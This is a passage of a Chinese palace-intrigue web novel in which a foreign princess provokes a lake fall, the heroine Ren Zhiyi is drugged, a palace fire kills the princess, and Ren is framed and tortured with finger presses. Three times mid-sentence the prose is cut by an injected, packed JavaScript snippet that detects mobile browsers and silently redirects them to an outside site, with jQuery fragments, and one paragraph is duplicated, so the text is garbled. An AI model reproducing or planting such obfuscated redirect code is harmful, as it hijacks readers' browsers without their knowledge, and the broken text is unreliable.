她与安王一同而来，外着月白金丝毛领褡护，面覆白纱，仅露出一双顾盼神飞的眼睛。 卫枢与她眼神交会两息，淡淡道：“还未谢过公主遣韩大夫为孤医治，果然是医林圣手，药到病除。” 接着，他转向一旁的安王，“二弟近来没去兵部？” 安王爽朗一笑，“流民作乱之事已解决，今年又取消了武官遴选，眼下我在兵部就是一个闲人。与其终日听老尚书絮叨，不如出来透口气。再说，父皇也说过，陪伴公主，此为最要紧之事。” 他咧嘴笑笑，露出一口整齐的牙齿，“今日得见兄长出东宫，弟弟实在倍感欣慰。” 卫枢淡淡一笑。 安王瞥了一眼旁边的任知宜，双眸不掩惊艳，“任待诏今日很不一样啊！如此这般出现在赏花宴上，岂不令满城姝色尽失芳华。” 彦月公主闻言，明媚的眼眸中露出些许不悦，她隔着面纱撅了撅小嘴儿，嗔道：“安王昨日不是还夸赞本公主的美貌世间无人能及吗？” 安王赶忙温声赔礼。 彦月公主却似真得恼了，不愿再理他，径直独自往府里走去，完全不在意周遭人的目光，露出十足的小女儿情态。 安王快步跟上。 出来迎接他们的长公主一行人禁不住掩唇微笑，假作不知就里，只当是看了一场少男少女情窦初开的日常。 围观百姓望着远去的背影啧啧称叹，这也就是天家，才能养出如此芝兰玉秀的一群人儿。众人眼见彦月公主与安王举止亲密，料想公主的驸马定是安王无疑。 ———— 赏花盛事设在长公主府的后花园，庭轩高大开阔，凭栏俯瞰下去，漫无边际的金蕊芍药花在日光下盛开怒放，连成一道长长的，亮金色的练帛。 长公主府的后花园，庭轩高大开阔，错落有致，凭栏俯瞰下去，可见漫无边际的金蕊芍药花在日光下盛放，宛若一道长长的，亮金色的练帛挂在园中。。 “金蕊玉盘，滟滟流光。”彦月公主面露欢欣，“大胤这么冷，居然能开出如此美丽的金蕊芍药。” 长公主笑笑，“我府上有座温房，本是为储存药材而用，天气渐冷后，我便将花挪到温房中精养着，倒是长得不错。” “长公主费心了。” 不远处，几位性子活泼的姑娘去到芍药花丛中赏花，娇声如铃，笑语连连。 彦月公主听得起了兴致，放下手中茶盏，“我去与大胤的姑娘认识一下。”接着，她转头望向任知宜，“任待诏陪本公主一同去吧。” “是。”任知宜垂首。 众贵女端正行礼，看她们二人的眼神中掩饰不住好奇。 彦月公主笑笑，问其中一个姑娘，“为何这么看着本公主？” 姑娘脸一红，“臣女冒犯了，公主天生丽质，令人望而失神。” 彦月公主笑得意味深长，“可是为什么本公主觉得……你看任待诏的时间比看本公主的时间还要长呢？” 虽然声音依旧温柔，这句话还令那姑娘变了脸色，她咬着下唇，“臣女曾在家中听父亲提起过任待诏，所以不由自主地多打量了几眼。” “令尊是……？” “臣女范瑶，家父是翰林院大学士范昉。” “哦……” 彦月公主转头望向任知宜，低笑了两声，“你瞧，京中闺阁千金对你多有好奇,日后还是要经常与大家多多走动才好。” 任知宜低声应“是”。 她旁观着彦月公主与众贵女谈笑风生的样子，心中生出几分疑窦。 那日的娇纵柔弱，与今日的长袖善舞简直判若两人。 “啊……” 花丛中传来一声惊呼。 彦月公主褡护上的金丝被花枝勾破，拖拽出长长的丝线，极为不雅。 低头蹙眉之际，一件玉色披风罩了过来，恰好遮住断掉的丝线。 彦月公主侧头一看，是任知宜。 “公主，这件披风大，可暂时遮挡一二。” 很快，长公主闻声而来，忙道：“来人，快带公主去后院更衣。” ———— 庭轩中，苏叶姗姗来迟。 茶盏“咣”地一声磕在案上，长公主嗔怒道：“这都什么时辰了……你比太子和安王都忙？” 安王笑笑，“姑母别恼，表哥必是被公务缠身，耽搁了。” 长公主恨铁不成钢地剜了苏叶一眼。 苏叶行过礼，施然坐下。 长公主指着花丛中巧笑倩兮的姑娘们，介绍道：“你看，那位黄衫姑娘是范大人的千金，还有那个俯身嗅花的小姑娘是赵大人的孙女……” 苏叶突然问道：“薛姑娘在哪儿？我方才在外面见到薛府的马车。” “谁？哪位薛姑娘？” “中书舍人薛畅大人的千金啊。” 长公主一听，以为儿子动了凡心，喜上眉梢。 苏叶皮笑肉不笑，“我想见见这位薛姑娘，请她转告她爹薛大人。这人还没到户部呢，手就不要伸得太长了。” 他说这话时，朝安王凉凉地瞥了一眼。 “你！”长公主又惊又气。 这赏花宴虽说是为任知宜解围，长公主自己也是存了几分挑儿媳的心思在里面。刚才她还真以为自家儿子开了窍，喜欢上人家姑娘，却原来是在户部受了气，故意说给安王听的。 长公主板起脸来，正要说教。 苏叶先不乐意，“殿下与我同年，还未定下太子妃，母亲莫不是要连殿下也一并指摘？” 卫枢执盏的手微微一顿，为这无妄之灾拧了拧眉。 “哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127546|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哈哈！”安王像是忍了许久，终于大笑出来，“幸好，本王刚刚及冠。” 长公主看着这三人，顿感头痛，“我回房休息一下，你们继续聊吧。” 人走后，安王抿了口茶，轻声道：“我帮景相推举薛畅为户部尚书，皇兄是不是恼我了？” 卫枢尚未答话，苏叶先一步开口，“柳德一走，户部成年累积下来的坏账乱成一团，你们不想着清查，就一味地让薛畅遮掩，准备遮到何时？” 安王看向卫枢，“之前的事，何必非要揪出来不可。臣弟希望大胤朝局稳定，薛畅是个能人，没有过大的野心，让他接手户部，维持朝廷的平衡，最是合适。” 卫枢抬眼望着安王卫瑾。 曾经的卫瑾已经变了，虽然外表依旧温和爽朗，骨子里却是不一样了。从眼神中可以看出，他这番话不是在征求他的意见，而是知会。 他与景相一样，认为大胤不能变，也不该变。 卫枢轻声问道：“你之前去两靖平息流民作乱，可有见过百姓流离失所的惨象？” 安王眸中闪过一丝失望，“自古以来，纵使盛世，亦有冻死之骨。流民之乱，起于洪灾，乃是天祸，与我卫氏江山无关，皇兄身为储君，怎能将眼界放得如此之低？” 卫枢沉声，“你以为如今的大胤还是当年稻米如织的盛世？一场叛乱，已经将大胤的根底掏空，你们却还依旧沉醉于当年的繁华盛景之中。” “皇兄，是你错了。”安王眉头深蹙，“与大胤社稷息息相关的是满朝的文臣，而非百姓。纵使父皇厌恶景相，也没有要与所有文臣为敌之念。你太操之过急了。” 安王见卫枢未再说话，目光却凝在远处一点。 顺着他的视线望过去，是立于湖堤旁的任知宜和彦月公主。 ———— 长公主府分为前后两院，花园位于府院正中，连通后院的是一座沿湖而建的水榭，今夜的赏花宴就设在这水榭之中。 任知宜陪彦月公主去后院更衣，走到水榭前的湖堤上时，彦月公主突然停下脚步。 微风拂过平湖，泛起点点波澜。 彦月公主轻轻踢走脚边的小石子，望着湖心笑道：“你觉得太子和安王，谁会是未来的大胤之主？” 任知宜眸色一变，“请公主慎言。太子殿下是大胤储君。” “你对太子殿下，可真忠心啊。”彦月公主缓缓地走到她身前，二人身子贴得极近，馨香幽沁，窜入鼻间。 从远处看，二人姿态极为亲密。 突然，彦月公主握住任知宜的手，以极低的，魅惑的声音附耳道：“在你的内榻上，太子殿下是否也如我这般握着你的手呢？” 任知宜如遭雷击，猛地甩开她的手，像是手上沾了蛆虫一般嫌恶。 她羞怒之下，未控制住力道，只听彦月公主惊叫一声，身子不受控制地向后跌去。 任知宜慌忙伸手拉她。 冷不防被彦月公主一把拽住，一股强硬的力量裹挟着二人的身体，一起跌向湖中。 “扑通”一声，平静的湖面破开。 不远处的众人听到声音，远远地看到这场意外，都惊得呆在当场。 半晌，才有人反应过来，“快救公主！” 冬日的湖水冰冷刺骨，呛入鼻喉，瞬间夺走任知宜的呼吸，被水草缠绕的身子急速下坠，意识渐渐陷入昏黑的混沌之中。 眼前一片模糊，她只看到彦月公主挣脱了水草，向水面游去。 黑暗灭顶之前，最后一点残存的意识袭来。 彦月公主是故意为之。 68. 失踪 东宫的地龙烧得火热。 任知宜睁开眼睛，室内明亮的烛火猛地刺向她眼眸。她身上盖着两床厚被，一身的大汗，将床褥都浸透。 “待诏醒了！”雀琴朝外面喊了一嗓。 紧接着，卫枢快步走了进来。 “殿下，屋里怎会这么热？” “李太医说，你呛了几口水，有点受凉，孤担心你感染风寒……” 任知宜掀开厚被起身，浑身的黏腻令她极不舒服。 “是殿下救我上来的？” 卫枢摇摇头，“我赶到时，彦月已经将你从水中拖拽出来。她是应国人，应国多水域，想来水性极好。” 任知宜一怔，面色凝肃。 卫枢打发雀琴出去，“孤正想问你，究竟你二人发生何事？为何会落水？” “臣想先听听公主是如何解释的。” 卫枢道：“她主动禀明陛下，说不是你推她下湖，一切皆是误会。” 她撒谎！ 任知宜眼皮沉沉。 好一招“以德报怨”。 众目睽睽之下，她推人下湖，彦月公主不但救下她，还反过来为她百般解释，就算此刻她再说出真相，也绝不会有人相信她。 “当时彦月是故意拉我下水，一开始说的话也是意在激怒于我。臣当时不察，一时鲁莽。” 卫枢长眉一挑，敏锐地捕捉到她话中的重点，“她说了什么，能将你激怒？” 任知宜面上一赧，当着卫枢的面，她可万万说不出那句话。 “不过是句污言罢了。”她继续道：“因为这件事，殿下是否又备受责难？” “没什么。”卫枢淡淡道：“无非是有心人想借势，挑拨东宫与安王之间的关系。” 彦月公主心仪安王之事已经传开，此时任知宜作出这种举动，很难不被人揣测，是东宫有意为之。 任知宜猛地灌了一大口水，冰凉的液体划过喉咙，微感舒爽，心境亦清明少许。 “会不会是安王授意彦月公主这么做？” 卫枢声音微冷，“不管是不是，她既然将心思动到孤的人身上，就莫怪孤断她的后路。” “殿下要做什么？”任知宜拧眉，“别忘了，她手中有应国的造船术。” “她想待价而沽，考验孤与安王的实力，既然如此，孤就顺其心意。” 卫枢的声音冰冷，毫无温度，像是真得动了怒。 任知宜心觉不妥，不由出声：“殿下……” 卫枢打断她的话，“这几日，你好好休息，孤自有定算。” ———— 接下来的几日，兆京又下了一场雪。 雪霁之日，亦不见回暖，惟有烈烈寒风，呼啸不止。 大胤一夜入冬，枯草荒芜，万物凋零。 朝堂之上的情势，同样犹如隆冬过境。 有官员弹劾大胤边贸司使刘雄勾结应国商人，在边贸两镇囤积居奇，哄抬物价。 朝堂之上，太子与安王为此争辩数日，剑拔弩张。 是夜，月色浓暗。 寒冬已至，东宫池里的六只小龟早已钻入水中的淤泥中过冬，遍寻不着踪迹。 任知宜百无聊赖，只得枯坐在池边，以枯枝搅动着池塘里的碎冰。 突然，宫门口闪过两个步履匆匆的身影。 “谁？” 借着月色，任知宜依稀辨认出，是太子身边的两个小内侍。 二人形色慌张，脚步仓促。 任知宜眸色一暗，“出了何事？” “皇后娘娘召见雀琴姐姐，可是奴才们怎么也找不到她。” 任知宜蹙眉。 “宫里各处都找了？内府呢？几位娘娘的寝殿呢？” “都找了！奴才们已将宫里上上下下都找遍了，就是找不到人。” 其中一个小内侍道：“今日，雀琴姐姐不小心冲撞了彦月公主的贴身侍婢，被带回禧宁宫。” 任知宜倏地站起身来，“为何不回禀？” 小内侍满脸慌乱，“姐姐说，不让告知待诏，担心小事变大事……” “你们没去禧宁宫要人？” “奴才去了，可是公主说，雀琴姐姐两个时辰之前便已离开。” 任知宜心中一坠。 后宫之中，多有腌臜。以前便经常听雀琴说起，先帝时常有宫女无故死于井中，后来才发现是一个后妃因为常年不得圣宠，性格扭曲，泄恨所致。 雀琴在宫中多年，从未与人为敌。 这几日，太子多番针对应国，以彦月公主的身份，动太子不得，动一个宫女却是易如反掌。 “太子此时人在何处？” “陛下与殿下在乾元殿议事，奴才不敢打扰。” “你派人再去议事堂，务必给太子传个信儿，就说是我有急事相商。” 一个时辰过去，乾元殿仍未有太子的消息传回。 任知宜知晓，此事最好该由太子出面；可是，一种不祥的预感始终萦绕在她心头。 她思量再三，终于不再犹豫，吩咐道： “拿盏冰玉灯过来，我去趟禧宁宫。” ———— 彦月公主住在西侧的禧宁宫，与东宫一西一东，约摸半个时辰的脚程。 月隐云散，惟烈风不止。 夜风像是从四面八方吹过来，吹得松枝摇摇晃晃，擦擦作响。 任知宜站在禧宁宫前，听到脚步声。 提起冰玉灯一照，照见门前一位宫女，正是彦月公主的贴身侍婢。 “本官东宫待诏任知宜，有急事求见彦月公主。” “这么晚了，待诏有什么事吗？” “麻烦给公主传个话，事关应国，还请公主通融。” 侍婢进去通传，片刻之后出来。 “公主请待诏入内。” 走在路上，任知宜微微侧目，望向领路的侍婢。 侍婢年纪不大，长着一张秀气的圆脸，很是讨喜。 “听说，今日我们宫中的雀琴姐姐冲撞了姑娘，实在抱歉。” 侍婢笑笑，“待诏言重了，不过就是与奴婢不小心撞了一下，哪里算得上冲撞。” “那为何雀琴会被带来禧宁宫？” “雀琴姐姐跌倒时，被石子儿划破了手，公主便让奴婢带她回来上些药。” 侍婢边走边说，神态颇为自然，看不出任何异样。 禧宁宫位于皇宫地势较高的西侧，占地不广，胜在天然，宫内假山林立，与原本的地貌相互交融，高低起伏，错落有致。 禧宁宫中宫人本就不多，加之应国使团大多是男子，不可留宿于宫中，所以一路走来，未见几个宫人。 天边露出钩月一角。 地上还留着些未清扫的残雪，折射出莹白的微光。 侍婢走在前方领路，笑道：“我们在应国，一年四季都见不到雪， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127547|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没想到初到京城，便赶上两场。” 这小侍婢一笑，眉眼弯弯，还会说一口流利的大胤官话，不止长相讨喜，说话也伶俐。 任知宜环顾四周，整个宫里森然，静谧，除了风声，什么都听不到。 到底，雀琴会被关在这宫中的何处？ 她露出一抹笑，“你们可在京城多呆些时日，隆冬之际，会有大雪，簌簌扬扬，如漫天鹅毛飞落。” 侍婢笑道：“我们做奴婢的，哪里做得了主。不过公主确实有意在大胤多呆一段时间，或许奴婢幸运，就能看到女史所说的雪景了。” “姑娘是自小跟随公主长大的？听姑娘说话，像是大胤人。” 侍婢道：“我自小长于应国皇宫，从未到过大胤。” “是吗？”任知宜抬眼看她，若有所思，“我听姑娘的大胤官话说得极好，还以为姑娘是大胤人。” “公主之前专门请了夫子，教我们几个奴婢大胤官话，还有各地的风土人情。待诏的家乡是哪儿？” 任知宜笑笑，“山南道灵州。” 侍婢点点头，“奴婢曾听公主提起过这个地方，说灵州山水秀丽，草木繁盛，最是宜人之地。” 二人说说笑笑，不知不觉进到内殿。 ———— 踏入内殿，沿廊而行。 烈烈风声穿堂而过，悬挂于上的宫灯被吹得摇摇曳曳，落地的灯影跟着一晃一晃，明暗交错。 四面的窗棂紧闭，还是有窸窣的冷风窜进来。禧宁宫景致绝佳，唯独有一点不好，因为地势高，若遇上刮北风的几日，风急夜冷。 任知宜回身望向那侍婢，指着她身上的薄衫道：“你从应国来得匆忙，若是没带够衣衫，可以去东宫找我拿几件厚衣。” 侍婢微怔了一下，福身道谢。 穿堂的风将室内的纱幔吹得飘飘浮浮。 侍婢换掉将熄的烛台，伸手指引，“公主就在内殿。待诏，请。” 任知宜踏步而入。 内室中，烟气袅袅，向上盘旋而绕。 透过屏风，依稀能看见案前的两道人影，看身形，似乎是一男一女。 任知宜暗暗一惊。 眼下已是亥时，缘何会有男子出入彦月公主的内室？ 屏风后，有茶气氤氲而出，泛着几分清苦之味。 任知宜伏拜跪地，轻声道：“臣任知宜拜见彦月公主。” 屏风后的男子听到她的声音，缓缓起身。 任知宜眼睛一眨不眨地盯着那道屏风，那人缓缓踱步，右脚先踏出屏风，露出一截黑色黼纹皂靴。 “唔唔唔……” 突然，任知宜被人从身后用一块儿白绢捂住嘴。 整个人被拖拽着后仰，她双腿猛蹬，拼命呼喊，奈何嘴巴被捂得死紧，那双大手却宛如铁器一般，堵地发不出半点声音。 对方不知何时欺身到她的身后，来得悄无声息。 此人指节粗粝，虎口有茧。她奋力击打他的手，奈何不过挣扎了三四息的时间，迷药便已发挥作用。她手上力道渐失，身体越发绵软，头晕目眩，眼前的场景模糊成一个圆点。 渐渐地，任知宜彻底脱力，双手缓缓垂落下来，眼前是那男子晃动的虚影。 尖利的指甲深深地掐入掌中，疼痛的刺激令她灵台恢复一息清明。 屏风后的男子，竟然是安王。 仅这一眼，她便无力支撑，陷入黑暗。 69. 走水 大火烧了半夜。 借着风势，不到半个时辰，禧宁宫即连成一片火海。 一茬茬的宫人鱼贯而入，接连不断地将一筲筲水泼进去，发出噼里啪啦的声响。 内殿里的情状看不分明，四处浓烟滚滚，黑灰飞扬，焦味刺鼻，殿宇被烧得一片残破。 禧宁宫的总管李公公望着眼前情状，心如死灰。烧成这样，里面的人哪还有命在。出了这等事，他们这些人恐怕横竖都得死，还不如跟着主子死在里面，家里还能拿份朝廷的恤银。 天将破晓时，帝后、太子和安王陆续赶到。 皇帝望着禧宁宫一片疮痍，满眼的不可置信，怒喝道：“这到底是怎么回事儿？彦月公主人呢？” 李公公扑跪在地上，哭得涕泪横流，“老奴和几个小内侍去鸿胪寺为公主取东西，回来时，这大火已经烧起来了。” 皇帝急问道：“公主人呢？” 李公公大声哭嚎道：“好，好像还在里面。” 皇帝闻言，厉声吼道：“还不赶紧进去救人！” 片刻后，火势渐弱，宫人们在殿内发现生还之人，将其抬了出来。 四个生还者，有三个是禧宁宫的宫女，还有一个…… 众人惊望。 是……东宫待诏任知宜。 人已昏迷，遍身衣裙褴破污黑，脖颈有几处擦伤的血痕，手背和脚腕皆被火燎伤一片。 卫枢快步上前，将人揽入怀中，“知宜，醒醒。” 她兀自沉沉地昏着，对周遭的声音丝毫不闻。 卫枢快速地探过鼻息，心头绷紧的弦略略松下来，幸好呼吸还算平稳。 他轻轻拂开任知宜额前凌乱的发丝，面色冷得犹如数九寒天的冻冰。 安王和禁军莫统领押着一人过来，是个身量不高的小内侍，“陛下，就是这人最先发现禧宁宫起火。” 内侍伏跪求饶，两腿战战。 皇帝蹙眉，“这火是如何烧起来的？公主人呢？” “奴才是禧宁宫的来顺。”内侍颤声道：“火是从公主的内室烧起来的，里面的房梁都烧塌了，砸在门口，奴才根本冲不进去。” “你为何没有在殿内当值？” 内侍瑟缩了一下肩膀，“今夜奴才贪喝了口酒，躲到膳房打盹，谁知道不小心睡了过去。待到半夜醒来时，禧宁宫已经烧起来了。” 皇帝面色一沉。 “你可曾看到什么可疑之人？” “奴，奴才……”，内侍嗫嚅半晌，说不出来。 总管李公公见状，恨不得一脚踹他脸上，大声喝道：“陛下面前，有什么话尽管直说。支支吾吾地作甚！” “奴才依稀瞧见一个女子，手中好像拿着个火折。” “什么女子？” “奴，奴才只看见一个背影，有，有点像……” 他还未说完，殿内突然有人高声喊道，“公主找到了！” 不一会儿，彦月公主被抬了出来。 她双目紧闭，满脸烂红，血痂处流着黄色的脓血，身体被烧成一块块烂肉，露出下面森白的骨。 郑皇后乍见此景，“啊”地一声，晕了过去。 皇帝亦身子一晃，向后趔趄了两步。 瞧这模样，不用看便知是死绝。 犹记得宫宴之上，美人云鬓峨峨，金摇颤动，莲步款款地走入筵席，每一步都像踩在众人的心尖上。 这令世人惊叹的美貌，如今竟成了这人不人，鬼不鬼的样子。 皇帝稳住心神，勉强朝那具尸体飞速地看了一眼，血肉模煳，其状可怖；他倏地别过脸去，忍住胸内翻涌作呕的冲动。 这具尸体虽已烧焦，却还能依稀辨出公主的轮廓。 “先送皇后回宫。” 皇帝深深地吐了口胸中浊气，“让鸿胪寺带伊相过来，认一认。” 顿了一下，又道：“立刻宣政事堂堂臣文昌阁议事。” 无论如何，这件事瞒是瞒不过去的。 若应国使臣团得到消息，会立刻向大胤问责。他们须及早想出应对之道，方为上策。 安王扶住皇帝的身躯，“请父皇保重龙体，禧宁宫走水可能纯粹是个意外，儿臣愿意亲自出使应国，向国主解释。” “瑾儿。”皇帝拍拍他的手，略感安慰。 他回身侧目，瞥见卫枢正拿着帕子，小心翼翼地擦拭着任知宜的脸颊，他面色倏地沉冷下来。 “太子，你是不是该解释一下，任待诏为何会在禧宁宫？” “儿臣不知。”卫枢沉然道：“昨夜儿臣蒙父皇宣召，一直在乾元殿议事，与父皇是同一时间得到的消息。” 皇帝沉默良久。 他重新看向那个叫来顺的禧宁宫内侍，“你刚才说看到凶手是个女子，究竟是谁？” 内侍来顺咽了咽口水，伸出一根手指，颤颤巍巍地指向卫枢怀中的任知宜，“奴才只看到一个背影，好，好像……就是她。” ———— 十月的天，冷得猝不及防。 鸿胪寺内，大门紧闭。 窗棂上结起白霜，阴风阵阵，从窗隙里透进来。 祁冬阳在书房内走来走去，踱了几百个来回。 “大人保重，切勿忧心劳神。” 祁冬阳背着手，眉头拧成了个疙瘩，“都已经火烧眉毛了！我如何能不忧心！” 他食指一伸，指向外面，“应国使臣团的人已经在外面坐了两日，眼下我连鸿胪寺的门都出不去！” 寺丞上前低语，“伊相昨日那话，大人可听得分明？” 祁冬阳脚下一顿，想起昨日的场景。 那位被应国人称为“无双秀士”的相国伊柘在见过彦月公主的尸体之后，惊得面色灰白，当场晕了过去。 在乾元殿中，伊柘当着胤国君臣的面，将胤帝赠予公主的如意玉璧摔了个粉碎。 他瞪着着在场的所有胤人，声音悲怆，犹如子规泣血，“公主在这里无辜殒命，若你们给不出一个交代，我在此立下誓言，应国将举全国之兵，与你们胤国，不死不休！” 情势几乎到了无法控制的地步。 当时，胤帝无奈，便将这烫手的山芋交给了鸿胪寺，让他着意安抚应国使臣团。 可是，如今应国人群情汹涌，恨意滔天。 他要如何安抚？ 祁冬阳连着两日未睡，头痛欲裂。 应国使臣团的人将鸿胪寺团团围住，所有人不食不饮，俱皆直挺挺地坐在鸿胪寺门前哭嚎。 祁冬阳无力平息众怒，只好躲着。这些人悲愤难以纾解，日夜喧嚣，只等着他出去，便要喝他的血，啖他的肉。 “大人不必忧心。”寺丞低声道：“伊相所言，是让我们大胤给出一个交代。咱们只要将谋害公主的罪魁祸首交到他们手上，他们的愤恨便有了发泄的出口。” “你说得容易！”祁冬阳满心烦躁，“刑部、大理寺都在查这个案子。禧宁宫如何起火都不得而知，哪里来的罪魁祸首。” 寺丞的眼珠子滴溜溜转了转，“刑部大牢里不是关了一个？” “你的意思是……？”祁冬样若有所思。 “公主入京不过十几日，若说和谁生过嫌隙，便只有那位东宫待诏。前几日在长公主府上，那人就敢在众目睽睽之下推公主下水，还有什么做不出来？” “可是……”，祁冬阳犹疑，“她自己也差点烧死在禧宁宫。” “大人！”寺丞劝道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127548|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“如今外面流言四起，百姓惶惶不安。很多人说，应国旳兵马已跨过嘉州。” 祁冬阳目露不屑，“纯属无稽之谈！” “大人心如明镜，可那些愚昧无知的百姓懂什么。”寺丞语重心长，“大人给使臣团一个交代，便是体恤圣意，安民之心。至于真相是什么，在眼下这情势下，已经不重要了。” ———— 任知宜醒转。 深黑的牢房，坚硬的石壁，没有透光的小窗，分辨不清眼下到底是黑夜还是白天。 牢房密不透风，空气稀薄。 一呼吸，混着粪尿和血液的骚腥味儿直冲入鼻，让人忍不住作呕。 她摩挲着墙壁，望向外面。数丈之外，一簇火光忽忽闪闪，犹如暗夜鬼火，这里是一个辨不清时辰的幽闭之所。 她沉下心绪。 如果她没猜错，这里就是“人见死，鬼见愁”的刑部大牢。只有罪大恶极的死犯才会被关押在此处，与她之前被关的兆京府衙大牢根本无法相提并论。 她缓缓抬起手臂，望着手腕上的白色绷带，陷入怔忡。 绷带下的伤口血肉开绽，看起来像是被烈火灼伤所致。 昨夜安王引她入禧宁宫，却未杀她？ 刑部牢房四处空静，依稀能听到铜壶滴漏之声。 她数着滴漏，每满一个时辰，便用金簪在石壁上刻一道。 当石壁被划下第八道短横时，外面传来整齐的脚步声。 任知宜走到牢门前，目不转睛地望着前方。 陡然亮起的光刺得她睁不开眼睛，她眯眼望去，十几个人举着火折，挤进这方不大不小的天地里，照得灯火通明，宛如白昼。 他们袍衣上都沾着雪块儿，寒气逼人，雪水顺着手中的油伞嗒嗒地向下滴落。 狱中大亮，任知宜才得以窥见牢房外的样子。丈高的刑架上面血迹斑斑，旁边置着拶子、杠子和竹篦，望之令人不寒而栗。 刑部尚书席白缓缓道：“来人，上拶。” 任知宜被几个刑部狱卫压着跪在地上，被迫张开十指，套上拶子。 席白声音肃厉，“说吧。” 任知宜瑟缩了一下，勉力抬起头，“席尚书希望我说什么？” 一抹冷嘲爬上席白的唇角，他讥讽道：“看你这双纤纤玉手，指如青葱，便知道太子对你疼惜，从未真正让你受过什么苦。可是如今情势不同，这一次，就算是太子也救不了你。” 任知宜努力平静下来，“臣尚不知发生何事。” “狡辩！”席白拧眉，大喝一声：“拶！” “啊啊啊…………”，一声颤抖的惨叫声逸出。 钻心的疼痛直冲头顶，浑身痉挛起来，成串的眼泪哗哗地落了下来。 原来上拶这么痛…… 手指上的疼痛像是将她的气息全部抽走，疼得几乎没有力气呼吸。 “为什么要烧死彦月公主？是谁指使你？” 任知宜咬着牙，气弱无力地说：“没有。” 席白又喝一声：“再拶！” “啊，啊啊啊……”，惨痛的嘶喊声越来越颤抖。 任知宜疼得浑身抽搐，火折的光在眼前晃成一片白光，眼前这些人的面容变得越来越模糊。 她奋力咬住下唇，鲜血洇湿了唇瓣，声音颤得支离破碎，“席尚书，你突然带这么多人过来，是不是意味着我要被带走？” “如果……”，她忍着痛，重重地吸了一口气，“如果今日，我这双手废在这里，我绝不会放过你。” 席白轻哼，“此案已是死案，你能如何？” 任知宜双目紧缩，一字一字道：“终归是一死，我会死死攀咬住你，直到身死的那一刻。” 70. 定罪 伴着风声，一粒粒的雪雹子，如飞瀑般急掠而下。 斜风雪落，声如破竹，掩住了清和殿的高声喧闹。 殿门前的内侍立于槛外，两腿发软，入耳的声音两相嘈杂，一侧是沉沉雹落之声，一侧是咂咂激辩之音。 “陛下息怒！” 天光遮于乌云下，呈现出灰蓝之色，殿内的文臣跪了大半。 太子卫枢袖手而立，身如修竹，晃动的烛光打在黑色的圆领朝服上，落成一道暗影。 “你再说一遍！” 卫枢身姿挺直，缓声道：“父皇，禧宁宫走水，彦月公主玉陨，与任知宜无关。” 皇帝气得双手颤抖，恨不能立时将手中茶盏砸出去。 “太，子！”皇帝怒不可遏，“应国的使臣团如今还在鸿胪寺门前围着，等大胤给他们一个说法。这几日众卿为了商定应对之法，几乎不眠不休，你又在做什么？” “此案尚未明晰，若不能由大理寺查实……” “够了！”皇帝面色阴沉，“太子，你退下！” 卫枢顿了一下，沉静的双眸释出几分清意，“父皇急于给任知宜定罪，是想给应国一个交代，可是应国要的是真相。难道父皇以为，我们随意推出任知宜作替罪羔羊，草草了事，应国便能善罢甘休？” “嚓啦……” 殿外，斗拱檐角的一片琉璃瓦，被沉沉的雪雹打落下来，发出清脆的响动，惊得众臣浑身一抖。 景郦侧目望向卫枢，眸色沉沉。 几个平日里亲信太子的朝臣亦暗自拧紧了眉头，怨怪太子过于冲动。陛下想要安稳民心无可厚非，太子这些话若是传到应国使臣团的耳中，大胤该如何收场。 “哗啦！” 倏地，座几上的杯盏被拂落下去，碎了一地。 “陛下息怒。”众臣叩首。 “太子，朕看你是昏了头了！”皇帝恨恨地盯着他，眼底布满阴色，“为了一个东宫待诏，连君父和江山社稷都不放在眼中。来人，将太子带下去。” “陛下。”景郦突然开口，“老臣觉得，太子之言有些道理。” 大殿一片静谧，外面的雪雹落得急促，若珠落玉盘，敲击人心。 景郦又道：“听说任知宜已经清醒，不如宣她进殿，说清楚那夜禧宁宫究竟发生何事。彦月公主一案，惟有证据确凿，方能令应国信服，堵住天下悠悠众口。” 卫枢闻言，凝眸望去。 皇帝扶着额角，不耐道：“那就依景相所言吧。” ———— 清和殿外，一路风摧雪打。 殿门前，狱卫解开任知宜手腕和脚腕上的镣铐，推她入殿。 她的鞋舄被雪水灌得滚透，沉甸甸的，踩到地板上，将锃亮的石板拖出一道道水迹。 任知宜微抬眼睫，陡然望进卫枢幽邃的双眸中。 沉静之下，是隐隐的关切。 卫枢看见她十指上的拶痕，登时怒不可遏，“席白，你敢对她动大刑？” 从未见过太子如此疾言厉色，恨不得立时杀了他的样子令席白脚下一顿，不自觉地后退了半步。 “臣，臣也是为查案。” 景郦走近，“任知宜，说说那夜禧宁宫的事吧。” 高阔的身形立在她面前，遮住了殿内原本就暗薄的光。乌压压的暗影压降下来，将她与卫枢的视线隔绝开来。 任知宜微微眯眼。 